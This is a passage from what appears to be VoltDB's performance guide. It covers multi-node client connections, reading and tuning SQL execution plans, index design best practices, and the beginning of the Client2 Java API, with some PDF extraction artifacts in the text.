initiator for each unique partition, and a separate initiator for multi-partition transactions\nwithin the cluster. Once the initiator receives the transaction, it is responsible for:\n9Hello, World! Revisited\n•Scheduling the transaction with the other nodes in the cluster\n•Distributing the work items for the transaction to the appropriate nodes and partitions and collecting\nresponses when it is time to execute the transaction\nAny node in the cluster can receive transaction requests. However, for maximum performance it is best if\nall nodes do their share. Initiators are automatically distributed around the cluster. But if only one node is\ninteracting with the client application, managing the queue can become a bottleneck and leave the other\nnodes in the cluster idle while they wait for work items.\nThis is why the recommendation is for client applications to create connections to as many nodes in the\ncluster as possible. When there are multiple connections, the Java client interface will direct each transac-\ntion to the most appropriate server, avoiding extra \"hops\" within the cluster as requests are redirected to\nthe corresponding initiator. For other clients that support multiple connections, requests use a round-robin\napproach to distribute the procedure calls.\nBy default, the VoltDB sample applications assume a single server (localhost) and only create a single\nconnection. This makes the examples easy to read and easy to run for anyone who downloads the kit.\nHowever, in real world examples your client application should create connections to all of the nodes in\nthe cluster to evenly distribute the work load and avoid network bottlenecks.\nThe update to the Hello World example demonstrates one method for doing this. Since it is difficult to know\nin advance what nodes are used in the cluster, the revised application uses an argument on the command\nline to specify what nodes to connect to. (Avoiding hard-coded server names is also a good practice so\nyou do not have to recode your application if you add or replace servers in the future.)\nThe first argument on the command line is assumed to be a comma-separated list of server names. This\nlist is converted to an array, which is used to create connections to each node. If there is no command line\nargument, the default server \"localhost\" is used. The following is the applicable code from the beginning\nof the client application. Note that only one client is instantiated but multiple connections are made from\nthat client object.\npublic static void main(String[] args) throws Exception {\n /*\n * Expect a comma-separated list of servers.\n * If not, use localhost.\n */\n String serverlist = \"localhost\";\n if (args.length > 0) { serverlist = args[0]; }\n String[] servers = serverlist.split(\",\");\n /*\n * Instantiate a client and connect to all servers\n */\n org.voltdb.client.Client myApp = ClientFactory.createClient();\n for (String server: servers) { \n myApp.createConnection(server);\n }\n2.6. Pung it All Together\nNow that we have defined the schema, created the stored procedures and the callback routines for asyn-\nchronous calls, and created connections to all of the nodes in the cluster, we can put together the new and\n10Hello, World! Revisited\nimproved Hello World application. We start by loading the HELLOWORLD table just as we did in the\nprevious version. Since this is only done once to initialize the run, we can make them synchronous calls.\nNote that we do not need to worry about constraint violations. If the client application is run two or more\ntimes, we can reuse the pre-loaded content.\n/*\n* Load the database.\n*/\ntry {\n myApp.callProcedure(\"Insert\", language[0], \"Hello\", \"World\");\n myApp.callProcedure(\"Insert\", language[1], \"Bonjour\", \"Monde\");\n myApp.callProcedure(\"Insert\", language[2], \"Hola\", \"Mundo\");\n myApp.callProcedure(\"Insert\", language[3], \"Hej\", \"Verden\");\n myApp.callProcedure(\"Insert\", language[4], \"Ciao\", \"Mondo\");\n} catch (Exception e) {\n // Not to worry. Ignore constraint violations if we \n // load this table more than once. \n}\nTo show off the performance, we then emulate the running system. We need some users. So, again, we\ninitialize a few user records using the RegisterUser stored procedure. As a demonstration, we use a utility\nmethod for generating pseudo-random email addresses.\n/*\n* Start by making sure there are at least 5 accounts\n*/\nwhile (maxaccountID < 5) {\n String first = firstname[seed.nextInt(10)];\n String last = lastname[seed.nextInt(10)];\n String dialect = language[seed.nextInt(5)];\n String email = generateEmail(maxaccountID);\n myApp.callProcedure(new RegisterCallback(),\"RegisterUser\",\n email,first,last,dialect );\n maxaccountID++;\n}\nFinally, we want to repeatedly call the SignIn stored procedure, while occasionally registering a new user\n(say, once every 100 sign ins).\n11Hello, World! Revisited\n/*\n* Emulate a busy system: 100 signins for every 1 new registration.\n* Run for 5 minutes.\n*/\nlong countdowntimer = System.currentTimeMillis() + (60 * 1000 * 5); \nwhile (countdowntimer > System.currentTimeMillis()) {\n for (int i=0; i<100; i++) {\n //int id = seed.nextInt(maxaccountID);\n String user = generateEmail(seed.nextInt(maxaccountID));\n myApp.callProcedure(new SignInCallback(), \"SignIn\",\n user, System.currentTimeMillis());\n }\n String first = firstname[seed.nextInt(10)];\n String last = lastname[seed.nextInt(10)];\n String dialect = language[seed.nextInt(5)];\n String email = generateEmail(maxaccountID);\n myApp.callProcedure(new RegisterCallback(),\"RegisterUser\",\n email,first,last,dialect);\n maxaccountID++;\n \n}\nThe completed source code can be found (and run) in the doc/tutorials/helloworldrevisit-\ned/ folder where VoltDB is installed. Give it a try on a single system or on a multi-node cluster.\n2.7. Next Steps\nUpdating the Hello World example demonstrates how to design applications that can maximize the value\nof the VoltDB software. However, even with these changes, Hello World is still a very simple application.\nDeciding how to partition the database for your specific needs and how to configure a cluster to support the\nVoltDB features you want to use requires careful consideration of capabilities and tradeoffs. The following\nchapters provide further guidance on this topics.\n12Chapter 3. Understanding VoltDB\nExecuon Plans\nThis chapter explains how VoltDB plans for executing SQL statements, the information it generates about\nthe plans, and how you can use that information to evaluate and optimize your SQL code.\n3.1. How VoltDB Selects Execution Plans for Indi-\nvidual SQL Statements\nWhen VoltDB parses a stored procedure definition or an ad hoc query, it reviews possible execution plans\nfor the SQL statements involved. Based on the schema, the partition columns, and any implicit or explicit\nindexes for the tables, VoltDB chooses what it believes is the most efficient plan for executing each state-\nment. The more complex the SQL statement, the more execution plans VoltDB considers.\nAs part of the compilation process, VoltDB generates explain or execution plans that you can use to un-\nderstand what execution order was selected. You can also affect those plans by specifying the order in\nwhich tables are joined as part of your SQL statement declaration.\n3.2. Understanding VoltDB Execution Plans\nVoltDB stores the execution plans for stored procedures along with the schema in the database. There are\nthree methods for reviewing these execution plans. You can:\n•Call the @Explain or @ExplainProc system procedures\n•Use the explain or explainproc directives in sqlcmd\n•Review the execution plans in the VoltDB Management Center Schema tab\nThe system procedures and sqlcmd directives produce identical output. For example, if you enter the\nexplainproc directive in sqlcmd with the name of a stored procedure, it displays the execution plan for\nevery SQL statement defined in the stored procedure. You get the same results calling the @ExplainProc\nsystem procedure. You can see the same information by connecting to the VoltDB Management Center in\na web browser. The explain directive and @Explain system procedure allow you to review the execution\nplan for an ad hoc SQL query by entering the text of the query.\nLet's look at the voter sample program as an example. The voter sample has five stored procedures. The\nInitialize procedure declares three SQL statements. You can see the execution plans for all three state-\nments by starting the sample application, connecting to the server using sqlcmd and using the explainproc\ndirective. You can also get the execution plan for an ad hoc count of the votes table using the explain\ndirective, like so:\n$ sqlcmd\n1> explainproc Initialize;\n . . .\n2> explain select count(*) from votes;\n . . .\nIn the VoltDB Management Center, which is available from a web browser via http::// {server-name} :8080\nby default, you can see the execution plans by navigating to the Schema tab, clicking on Procedures &\n13Understanding Volt-\nDB Execution Plans\nSQL, and expanding the stored procedure to see the individual statements. The execution plan is displayed\nin the expanded view. The following example shows the execution plan for InsertContestantStmt in the\nInitialize stored procedure.\n3.3. Reading the Execution Plan and Optimizing\nYour SQL Statements\nThe execution plan is an ordered representation of how VoltDB will execute the statement. Read the plan\nfrom bottom up to understand the order in which the plan is executed. So, for example, looking at the\nInsertACSStmt SQL statement in the Voter application's Initialize stored procedure, we see the following\nexecution plan for inserting an area code into the area_code_state table:\nRETURN RESULTS TO STORED PROCEDURE\n LIMIT 1\n RECEIVE FROM ALL PARTITIONS\n SEND PARTITION RESULTS TO COORDINATOR\n INSERT into \"AREA_CODE_STATE\"\n MATERIALIZE TUPLE from parameters and/or literals\nAs mentioned before it is easiest to read the plans from the bottom up. So in this instance, how the SQL\nstatement is executed is by:\n•Constructing a record based on input parameters and/or literal values\n•Inserting the record into the table\n14Understanding Volt-\nDB Execution Plans\n•Because this is a multi-partitioned procedure, each partition then sends its results to the coordinator\n•The coordinator then rolls up the results, limits the results (that is, the status of the insert) to one row,\nand returns that value to the stored procedure\nYou will notice that the lines of the execution plan are indented to indicate precedence. For example, the\nconstruction of the tuple must happen before it is inserted into the table.\nLet's look at another example from the Voter sample. The checkContestantStmt in the Vote stored proce-\ndure performs a read operation:\nRETURN RESULTS TO STORED PROCEDURE\n INDEX SCAN of \"CONTESTANTS\" using its primary key index\n uniquely match (CONTESTANT_NUMBER = ?0)\nYou can see from the plan that the scan of the CONTESTANTS table uses the primary key index. It is\nalso a partitioned table and procedure so the results can be sent directly back to the stored procedure.\nOf course, planning for a SQL statement accessing one table with only one condition is not very difficult.\nThe execution plan becomes far more interesting when evaluating more complex statements. For example,\nyou can find a more complex execution plan in the GetStateHeatmap stored procedure:\nRETURN RESULTS TO STORED PROCEDURE\n ORDER BY (SORT)\n Hash AGGREGATION ops: SUM(V_VOTES_BY_CONTESTANT_NUMBER_STATE.NUM_VOTES)\n RECEIVE FROM ALL PARTITIONS\n SEND PARTITION RESULTS TO COORDINATOR\n SEQUENTIAL SCAN of \"V_VOTES_BY_CONTESTANT_NUMBER_STATE\"\nIn this example you see an execution plan for a multi-partition stored procedure. Again, reading from the\nbottom up, the order of execution is:\n•At each partition, perform a sequential scan of the votes-per-contestant-and-state table.\n•Return the results from each partition to the initiator that is coordinating the multi-partition transaction.\n•Use an aggregate function to sum the votes for all partitions by contestant.\n•Sort the results\n•And finally, return the results to the stored procedure.\n3.3.1. Evaluating the Use of Indexes\nWhat makes the execution plans important is that they can help you optimize your database application\nby pointing out where the data access can be improved, either by modifying indexes or by changing the\njoin order of queries. Let's start by looking at indexes.\nVoltDB uses information about the partitioning column to determine what partition needs to execute a sin-\ngle-partitioned stored procedure. However, it does not automatically create an index for accessing records\nin that column. So, for example, in the Hello World example, if we remove the primary key (DIALECT)\non the HELLOWORLD table, the execution plan for the Select statement also changes.\nBefore:\nRETURN RESULTS TO STORED PROCEDURE\n15Understanding Volt-\nDB Execution Plans\n INDEX SCAN of \"HELLOWORLD\" using its primary key index\n uniquely match (DIALECT = ?0)\nAfter:\nRETURN RESULTS TO STORED PROCEDURE\n SEQUENTIAL SCAN of \"HELLOWORLD\"\n filter by (DIALECT = ?0)\nNote that the first operation has changed to a sequential scan of the HELLOWORLD table, rather than a\nindexed scan. Since the Hello World example only has a few records, it does not take very long to look\nthrough five or six records looking for the right one. But imagine doing a sequential scan of an employee\ntable containing tens of thousands of records. It quickly becomes apparent how important having an index\ncan be when looking for individual records in large tables.\nThere is an incremental cost associated with inserts or updates to tables containing an index. But the\nimprovement on read performance often far exceeds any cost associated with writes. For example, consider\nthe flight application that is used as an example in the Using VoltDB manual. The FLIGHT table is a\nreplicated table with an index on the FLIGHT_ID, which helps for transactions that join the FLIGHT and\nRESERVATION tables looking for a specific flight.\nHowever, one of the most common transactions associated with the FLIGHT table is customers looking\nfor flights during a specific time period; not by flight ID. In fact, looking up flights by time period is\nestimated to occur at least twice as often as looking for a specific flight.\nThe execution plan for the LookupFlight stored procedure using the original schema looks like this:\nRETURN RESULTS TO STORED PROCEDURE\n SEQUENTIAL SCAN of \"FLIGHT\"\n filter by ((((ORIGIN = ?0) AND (DESTINATION = ?1)) \n AND (DEPARTTIME > ?2)) AND (DEPARTTIME < ?3))\nClearly, looking through a table of 2,000 flights without an index 10,000 times a second will impact\nperformance. So it makes sense to add another index to improve this transaction. For example:\nCREATE TABLE Flight (\n FlightID INTEGER UNIQUE NOT NULL,\n DepartTime TIMESTAMP NOT NULL,\n Origin VARCHAR(3) NOT NULL,\n Destination VARCHAR(3) NOT NULL,\n NumberOfSeats INTEGER NOT NULL,\n PRIMARY KEY(FlightID)\n);\nCREATE INDEX flightTimeIdx ON FLIGHT ( departtime);\nAfter adding the index, the execution plan changes to use the index:\nRETURN RESULTS TO STORED PROCEDURE\n INDEX SCAN of \"FLIGHT\" using \"FLIGHTTIMEIDX\"\n range-scan covering from (DEPARTTIME > ?2) while (DEPARTTIME < ?3), \n filter by ((ORIGIN = ?0) AND (DESTINATION = ?1))\nIndexes are not required for every database query. For very small tables or infrequent queries, an index\ncould be unnecessary overhead. However, in most cases and especially frequent queries over large datasets,\nnot having an applicable index can severely impact performance.\n16Understanding Volt-\nDB Execution Plans\nWhen tuning your VoltDB database application, one useful step is to review the schema for any unexpected\nsequential (non-indexed) scans. The VoltDB Management Center makes this easy because it puts the\n\"Scans\" icon in the attributes column for any stored procedures that contain sequential scans.\nSee the following chapter, Chapter 4, Using Indexes Effectively , for more information on tuning your\ndatabase through effective use of indexes.\n3.3.2. Evaluating the Table Order for Joins\nThe other information that the execution plans provides, in addition to the use of indexes, is the order in\nwhich the tables are joined.\nJoin order often impacts performance. Normally, when joining two or more tables, you want the database\nengine to scan the table that produces the smallest number of matching records first. That way, there are\nfewer comparisons to evaluate when considering the other conditions. However, at compile time, VoltDB\ndoes not have any information about the potential sizing of the individual tables and must make its best\nguess based solely on the table schema, query, and any indexes that are defined.\nFor example, assume we have a database that correlates employees to departments. There is a DEPART-\nMENT table and an EMPLOYEE table, with a DEPT_ID column that acts as a foreign key. But depart-\nments have managers, who are themselves employees. So there is a MANAGER table that also contains\nboth a DEPT_ID and an EMP_ID column. The relationship of the tables looks like this:\nMost transactions look up employees by their employee ID or their department ID. So indexes are created\nfor those columns. However, say we want to look up all the employees that report to a specific manager.\nNow we need to join the MANAGER table (to get the department ID), the DEPARTMENT table (to get\nthe department name), and the EMPLOYEE table (to get the employees' names). VoltDB does not know,\nin advance when compiling the schema, that there will be many more employees than departments or\nmanagers. As a result, the winning plan might look like the following:\nRETURN RESULTS TO STORED PROCEDURE\n ORDER BY (SORT)\n NESTLOOP INDEX JOIN\n inline (INDEX SCAN of \"DEPARTMENT\" using \"DEPTIDX\" (unique-scan covering))\n NESTLOOP INDEX JOIN\n inline (INDEX SCAN of \"MANAGER\" using \"MGRIDX\" (unique-scan covering))\n RECEIVE FROM ALL PARTITIONS\n17Understanding Volt-\nDB Execution Plans\n SEND PARTITION RESULTS TO COORDINATOR\n SEQUENTIAL SCAN of \"EMPLOYEE\"\nClearly, performing a sequential scan of the employees (since the department ID has not been identified\nyet) is not going to provide the best performance. What you really want to do is to join the MANAGER\nand DEPARTMENT tables first, to identify the department ID before joining the EMPLOYEE table so\nthe last join can take advantage of the appropriate index.\nFor cases where you are joining multiple tables and know what the optimal join order would be, VoltDB lets\nyou specify the join order as part of the SQL statement definition. Normally, you declare a new SQLstmt\nclass by specifying the SQL query only. However, you can provide a second argument specifying the join\norder as a comma-separated list of table names and aliases. For example, the declaration of the preceding\nSQL query, including join order, would look like this:\npublic final SQLStmt FindEmpByMgr = new SQLStmt(\n \"SELECT dept.dept_name, dept.dept_id, emp.emp_id, \" +\n \"emp.first_name, emp.last_name, manager.emp_id \" +\n \"FROM MANAGER, DEPARTMENT AS Dept, EMPLOYEE AS Emp \" + \n \"WHERE manager.emp_id=? AND manager.dept_id=dept.dept_id \" +\n \"AND manager.dept_id=emp.dept_id \" +\n \"ORDER BY emp.last_name, emp.first_name\",\n \"manager,dept,emp\" );\nNote that where the query defines an alias for a table — as the preceding example does for the DEPART-\nMENT and EMPLOYEE tables — the join order must use the alias name rather than the original table\nname. Also, if a query joins six or more tables, you must specify the join order or VoltDB reports an error\nwhen it compiles the project.\nHaving specified the join order, the chosen execution plan changes to reflect the new sequence of oper-\nations:\nRETURN RESULTS TO STORED PROCEDURE\n ORDER BY (SORT)\n RECEIVE FROM ALL PARTITIONS\n SEND PARTITION RESULTS TO COORDINATOR\n NESTLOOP INDEX JOIN\n inline (INDEX SCAN of \"EMPLOYEE\" using \"EMPDEPTIDX\" (unique-scan covering))\n NESTLOOP INDEX JOIN\n inline (INDEX SCAN of \"DEPARTMENT\" using \"DEPTIDX\" (unique-scan covering))\n SEQUENTIAL SCAN of \"MANAGER\"\nThe new execution plan has at least three advantages over the default plan:\n•It starts with a sequential scan of the MANAGER table, a table with 10-20 times fewer rows than the\nEMPLOYEE table.\n•Because MANAGER and DEPARTMENT are replicated tables, all of the initial table scanning and\nfiltering can occur locally within each partition, rather than returning the full EMPLOYEE data from\neach partition to the initiator to do the later joins and sorting.\n•Because the join order retrieves the department ID first, the execution plan can utilize the index on that\ncolumn to improve the scanning of EMPLOYEE, the largest table.\n18Chapter 4. Using Indexes Effecvely\nIndexes provide a classic “space for speed” trade-off. They add to the persistent memory required by your\napplication data but they make query filtering significantly faster. They also represent a trade-off that\nsacrifices incremental write performance for potentially significant read performance, on the assumption\nthat indexed data is accessed by read queries more frequently than it is modified.\nUsing the best practices described in the chapter when defining indexes can maximize query performance\nin return for minimum investments in memory usage and computation overhead when writing data.\n4.1. Basic Principles for Effective Indexing\nHere are seven tips to creating effective indexes in VoltDB:\n•Avoid indexes that have a column list that is simply a prefix of another index's column list. The index\nwith the longer column list will usually serve the same queries as the shorter one. If the primary key\nof table X is (A, B, C), then an index on (A, B) is of little use. An index on (B, C) may be of use in\nthis scenario or it may be more effective to define the primary key as (B, C, A) — if B is likely to be\nfiltered in queries where A is not equality-filtered.\n•Avoid \"low-cardinality\" indexes — An index defined solely on a column that only has a few distinct\nvalues is usually not very effective. Because of its large number of duplicate values, it does little to nar-\nrow the set of rows to be sequentially filtered by other filters in the query. Such an index can sometimes\ncause the planner to fail to select a more effective index for a query or even a more efficient sequential\nscan. One way to increase index effectiveness of low cardinality indexes is to add other filtered columns\nto the index, keeping in mind that the effectiveness of an index for a query \"tops out\" at the first column\nthat has an inequality filter — or before the second column that has an IN filter.\n•When deciding how to order columns within an index (or primary key or unique constraint) definition,\ncolumns that are more likely to be filtered with an exact equality (such as A = ?), should be listed before\ncolumns that tend to be range-filtered (B <= ?). Queries that are run the most often or that benefit the\nmost from indexing (perhaps because they lack filters that can be covered by other indexes) should\nweigh more heavily in this decision.\n•In some cases, with a roughly equal mix between queries using forms like \"WHERE A = ? AND B <= ?\"\nand other queries using forms like \"WHERE A > ? AND B = ?\", it may be worthwhile to define indexes\non both permutations — on X(A, B ...) and on X(B, A ...). Otherwise, when two or more columns in\nan index tend to both get equality filtered in combination, it is generally better to list a column first if\nit also tends to be filtered (without the other) in other queries. A possible exception to this rule is when\nthe column has low cardinality (to avoid the ineffective use of the index).\n•Placing the low-cardinality column later in the index's list prevents the index from being applied as a\nlow-cardinality indexed filter and favors the selection of a more effective index or sequential scan.\n•Any non-unique filter that is listed in the schema report as having no procedures using it is a candidate\nfor elimination. But first, it may make sense to look for queries that would be expected to use the index\nand determine what they are using instead for scans on the table. It may be that the index chosen by the\nplanner is not actually as effective and that index may be the better candidate for elimination. Also, note\nthat indexes that are only used to support recalculation of min and max values in materialized views\nmay be erroneously reported as unused.\n•Index optimization is best accomplished iteratively, eliminating or tuning an index on a table and seeing\nits effect on statements before making other changes to other competing indexes.\n19Using Indexes Effectively\n4.2. Defining Indexes\nVoltDB indexes provide multiple benefits. They help to guard against unintended duplication of data. They\nhelp to optimize recalculation of min and max values in materialized views. Tree indexes in particular can\nalso be used to replace memory- and processor-intensive sorting operations in queries that have ORDER\nBY and GROUP BY clauses. This discussion focuses on the benefits of indexes in implementing SQL\nWHERE clauses that filter query results.\nThere are several methods for constructing indexes in SQL:\n•PRIMARY KEY column attribute\n•UNIQUE or ASSUME UNIQUE column attribute\n•PRIMARY KEY table constraint\n•UNIQUE or ASSUME UNIQUE table constraint\n•CREATE INDEX statement\nAny of these methods can be used to define a “UNIQUE” index on a single column. The table constraints\nand CREATE INDEX statements can also define a “UNIQUE” index on multiple columns or on expres-\nsions that use one or more columns. The CREATE INDEX statement can be used to construct a non-\nUNIQUE index on one or more columns or expressions.\nAll examples in this chapter describe indexes as if they were created by the CREATE INDEX statement,\nbut the discussion applies generally to indexes defined using any of these methods.\n4.3. The Goals for Effective Indexing\nThe goals of effective indexing are to:\n•Eliminate unused indexes\n•Minimize redundancy (memory use and overhead for writes) among overlapping indexes on a table\n•Minimize sequential scans of large numbers of rows\nSequential filtering always occurs when rows are accessed without the benefit of an index. This is known\nas a sequential scan . Sequential filtering can also occur on an indexed scan when there are more filters in\nthe query than are covered by the index. The cost of sequential filtering is based on several factors. One\nfactor is the number of filters being applied to each row. A major factor is the number of rows to which\nthe filters must be applied.\nThe intent of an index is to use a more streamlined “lookup” algorithm to produce a small set of filtered\nrows, eliminating the need to sequentially apply (as many) filters to (as many) rows.\nSince there are trade-offs and limitations involved in defining indexes, indexes may not provide complete\ncoverage for all of the filters in a query. If any filters are not covered by an index, they must be sequentially\napplied. The cost of this action is typically reduced compared to a sequential scan of the data because the\nindex reduces the two major contributing factors: the number of remaining, uncovered filters to apply, and\nthe number of rows to which they must be applied.\nThe lookup algorithm used by an index is typically much more efficient than sequential application for\nthe same set of filters and rows, but it does not have zero cost. It also slightly complicates the process\n20Using Indexes Effectively\nof sequentially applying any remaining filters to the remaining rows. In fact, the worst-case scenario for\nquery filter performance is when an index's lookup algorithm is employed but fails to cover most of a\nquery's filters and fails to eliminate most of the table's rows. This case can perform significantly worse than\na sequential scan query that uses no index at all and applies all of its filters sequentially. This possibility\ncalls for the elimination of ineffective indexes from a database.\nAn ideal set of index definitions minimizes the number of times that any filter is sequentially applied to\nany row in any query over the life of the database system. It accomplishes this with a minimum number\nof indexes, each of minimum complexity, to reduce persistent memory and data write computation costs.\n4.4. How Indexes Work\nA key insight into defining indexes is determining which of the filters in a query can be “covered” by a\ngiven index. Filters and combinations of filters qualify for coverage based on different criteria.\nEach \"scan\" in a query, that is, each argument to a FROM clause that is not a subquery, can use up to one\nindex defined on its table. When a table defines multiple indexes on the same table, these indexes compete\nin the query planner for the mission of controlling each scan in each query that uses the table. The query\nplanner uses several criteria to evaluate which one of the table's indexes that cover one or more filters in\nthe query is the most likely to be the most efficient.\nWhen indexing a single column, as in \"CREATE INDEX INDEX_OF_X_A ON X(A);\", a covered filter\ncan be any of the following:\n•\"A \", where can be any of \"=, <, >, <=, or >=\"\n•\"A BETWEEN AND \"\n•\"A IN \"\n•A special case of \"A LIKE \" where contains a fixed prefix followed\nby a wild-card character\nHere, , , and can be actual literal constants like 1.0 or 'ABC' or they\ncan be placeholders (?) that resolve to constants at runtime. can be a list of literals or\nliterals and parameters like ('ABC', 'BAC', 'BCA', 'ACB', 'CBA', 'BAC') or (1, 2, 3, ?) or (?, ?, ?, ?, ?)\nor a single vector-valued placeholder. Each of these \"constants\" can also be an expression of constants,\nsuch as ((1024*1024)-1).\nDepending on the order in which tables are scanned in a query, called the join order , a covered filter can also\nbe \"A \" where is a column from another table in the query or any expression of\na column or columns from another table and possibly constants, like B or (B || C) or SUBSTR( B||C , 1 , 4 ).\nThe join order dependency works like this: if you had two tables indexed on column A and your query is\nas follows, only one table could be indexed:\nSELECT * FROM X, Y WHERE X.A = Y.A and X.B = ?;\nThe first one to be scanned would have to use a sequential table scan. If you also had an index on X.B, X\ncould be index-scanned on B and Y could then be index-scanned on A, so a table scan would be avoided.\nThe availability of indexes that cover the scans of a query have a direct effect on the planners selection of\nthe join order for a query. In this case, the planner would reject the option of scanning Y first, since that\nwould mean one more sequential scan and one fewer index scan, and the planner prefers more index scans\nwhenever possible on the assumption that index scans are more efficient.\n21Using Indexes Effectively\nWhen creating an index containing multiple columns, as in \"CREATE INDEX INDEX_OF_X_A_B ON\nX(A, B);\", a covered filter can be any of the forms listed above for coverage by a simpler index “ON\nX(A)”, regardless of the presence of a filter on B — this is used to advantage when columns are added to\nan index to lower its cardinality, as discussed below.\nA multi-column index “ON X(A, B) can be used more effectively in queries with a combination of filters\nthat includes a filter on A and a filter on B. To enable the more effective filtering, the first filter or prefix\nfilter on A must specifically have the form of \"A = ...\" or \"A IN ...\" — possibly involving column(s) of\nother tables, depending on join order — while the filter on B can be any form from the longer list of\ncovered filters, above.\nA specific exception to this rule is that a filter of the form \"B IN ...\" does not improve the effectiveness of\na filter of the form \"A IN ...\", but that same filter \"B IN ...\" can be used with a filter of the specific form \"A\n= ...\". In short, each index is restricted to applying to only one “IN” filter per query. So, when the index\nis covering “A IN …”, it will refuse to cover the “B IN …” filter.\nThis extends to indexes on greater numbers of columns, so an index \"ON X(A, B, C)\" can generally be\nused for all of the filters and filter combinations described above using A or using A and B. It can be\nused still more effectively on a combination of prefix filters like \"A = ... \" ( or \"A IN ...\" ) AND \"B\n= ...\" ( or \"B IN ...\" ) with an additional filter on C — but again, only the first \"IN\" filter improves the\nindex effectiveness, and other “IN” filters are not covered.\nWhen determining whether a filter can be covered as the first or prefix filter of an index (first or second filter\nof an index on three or more columns, etc.), the ordering of the filters always follows the ordering of the\ncolumns in the index definition. So, “CREATE INDEX INDEX_ON_X_A_B ON X(A, B)” is significantly\ndifferent from “CREATE INDEX INDEX_ON_X_B_A ON X(B, A)”. In contrast, the orientation of the\nfilters as expressed in each query does not matter at all, so \"A = 1 and B > 10\" has the same effect on\nindexing as \"10 < B and A = 1\" etc. The filter “A = 1” is considered the “first” filter in both cases when\nthe index is “ON (A, B)” because A is first.\nAlso, other arbitrary filters can be combined in a query with “AND” without disqualifying the covered\nfilters; these additional filters simply add (reduced) sequential filtering cost to the index scan.\nBut a top-level OR condition like \"A = 0 OR A > 100\" will disqualify all filters and will not use any index.\nA general pre-condition of a query's filters eligible for coverage by a multi-column index is that the first\nkey in the index must be filtered. So, if a query had no filter at all on A, it could not use any of the above\nindexes, regardless of the filters on B and/or on C. This is the condition that can cause table scans if there\nare not enough indexes, or if the indexes or queries are not carefully matched.\nThis implies that carelessly adding columns to the start of an already useful index's list can make it less\nuseful and applicable to fewer queries. Conversely, adding columns to the end of an already useful index\n(rather than to the beginning) is more likely to make the index just as applicable but more effective in\neliminating sequential filtering. Adding to the middle of the list can cause an index to become either more\nor less effective for the queries to which it applies. Any such change should be tested by reviewing the\nschema report and/or by benchmarking the affected queries. Optimal index use and query performance\nmay be achieved either with the original definition of the index, with the changed definition, or by defining\ntwo indexes.\n4.5. Summary\nTo recap, here are the best practices for defining indexes in VoltDB:\n•Avoid indexes that have a column list that is simply a prefix of another index's column list. The index\nwith the longer column list will usually serve the same queries as the shorter one. If the primary key\n22Using Indexes Effectively\nof table X is (A, B, C), then an index on (A, B) is of little use. An index on (B, C) may be of use in\nthis scenario or it may be more effective to define the primary key as (B, C, A) — if B is likely to be\nfiltered in queries where A is not equality-filtered.\n•Avoid \"low-cardinality\" indexes — An index defined solely on a column that only has a few distinct\nvalues is usually not very effective. Because of its large number of duplicate values, it does little to nar-\nrow the set of rows to be sequentially filtered by other filters in the query. Such an index can sometimes\ncause the planner to fail to select a more effective index for a query or even a more efficient sequential\nscan. One way to increase index effectiveness of low cardinality indexes is to add other filtered columns\nto the index, keeping in mind that the effectiveness of an index for a query \"tops out\" at the first column\nthat has an inequality filter — or before the second column that has an IN filter.\n•When deciding how to order columns within an index (or primary key or unique constraint) definition,\ncolumns that are more likely to be filtered with an exact equality (such as A = ?), should be listed before\ncolumns that tend to be range-filtered (B <= ?). Queries that are run the most often or that benefit the\nmost from indexing (perhaps because they lack filters that can be covered by other indexes) should\nweigh more heavily in this decision.\n•In some cases, with a roughly equal mix between queries using forms like \"WHERE A = ? AND B <= ?\"\nand other queries using forms like \"WHERE A > ? AND B = ?\", it may be worthwhile to define indexes\non both permutations — on X(A, B ...) and on X(B, A ...). Otherwise, when two or more columns in\nan index tend to both get equality filtered in combination, it is generally better to list a column first if\nit also tends to be filtered (without the other) in other queries. A possible exception to this rule is when\nthe column has low cardinality (to avoid the ineffective use of the index).\n•Placing the low-cardinality column later in the index's list prevents the index from being applied as a\nlow-cardinality indexed filter and favors the selection of a more effective index or sequential scan.\n•Any non-unique filter that is listed in the schema report as having no procedures using it is a candidate\nfor elimination. But first, it may make sense to look for queries that would be expected to use the index\nand determine what they are using instead for scans on the table. It may be that the index chosen by the\nplanner is not actually as effective and that index may be the better candidate for elimination. Also, note\nthat indexes that are only used to support recalculation of min and max values in materialized views\nmay be erroneously reported as unused.\n•Index optimization is best accomplished iteratively, eliminating or tuning an index on a table and seeing\nits effect on statements before making other changes to other competing indexes.\n23Chapter 5. A Modern Java Client\nProgramming Interface (API) for VoltDB\nVoltDB V11 introduces a new client programming interface. The Client2 interface is similar to the original\nClient interface in that you create a configuration object, then create the client itself using the client factory.\nAfter connecting to the database, you can then make either synchronous or asynchronous procedure calls.\nHowever, that is where the similarity ends. Where Client provides a rudimentary interface using gener-\nic callbacks to handle both success and failure, Client2 uses modern Java programming techniques and\nsmarter defaults to provide a structured and extensible interface, including:\n•A \"builder\" pattern for the Client2Config, with individual methods that can be chained to set configu-\nration options.\n•No mandatory settings, all attributes have default values.\n•Smarter default behavior to simplify application development.\n•Individually configured notifications, set as callbacks on the configuration object, that let the application\ndecide which events it wants to be notified about and how.\n•Use of Java CompletableFutures to handle asynchronous procedure calls, giving the application devel-\noper more structured and precise handling of invocation events.\nThe following sections describe the individual steps for creating and application using the Client2 API.\nFor a complete listing of classes and methods, see the VoltDB Client API javadoc .\n5.1. Configuring the Client\nThe first step is to set the configuration options for your client, using Client2Config. You can take the\ndefault options by just creating a new Client2Config object:\nClient2Config config = new Client2Config(); \nClient2 client = ClientFactory.createClient(config);\nOr you can specify individual attributes by chaining the associated methods, when you create the config-\nuration object:\nClient2Config config = new Client2Config() .username(\"john\")\n .password(\"doe\"); \nClient2 client = ClientFactory.createClient(config);\nNote that you can set up custom error handling as part of the configuration by defining which events the\napplication wants to be notified about. For example:\nClient2Config config = new Client2Config().username(\"john\")\n .password(\"doe\")\n .connectionDownHandler(..myDropHandler..); \nClient2 client = ClientFactory.createClient(config);\nThe interfaces to the handlers are defined as functional interfaces in the class Client2Notification, allowing\nuse of method references or lambda expressions.\n24A Modern Java Client Program-\nming Interface (API) for VoltDB\n5.2. Connecting to the Database\nClient2 simplifies the process establishing and maintaining connections to the database. By default Client2\nautomates creating connections to all nodes of the cluster once a single connection is made, and reconnects\nas necessary as nodes leave and rejoin the cluster.\nSo, you can simply connect to one node of the cluster and the Client2 interface will take responsibility\nfor connecting to other cluster nodes:\nclient.connectSync(\"localhost\");\nOr you can supply a list of nodes and the client will create a connection to the first it can reach, then\nestablish connections to the rest of the cluster:\nString[] servers = [\"eeny\",\"meeny\",\"miny\"];\nclient.connectSync(servers);\n5.3. Calling Procedures\nOnce the application connects to the database you are ready to make procedure calls. At its simplest, 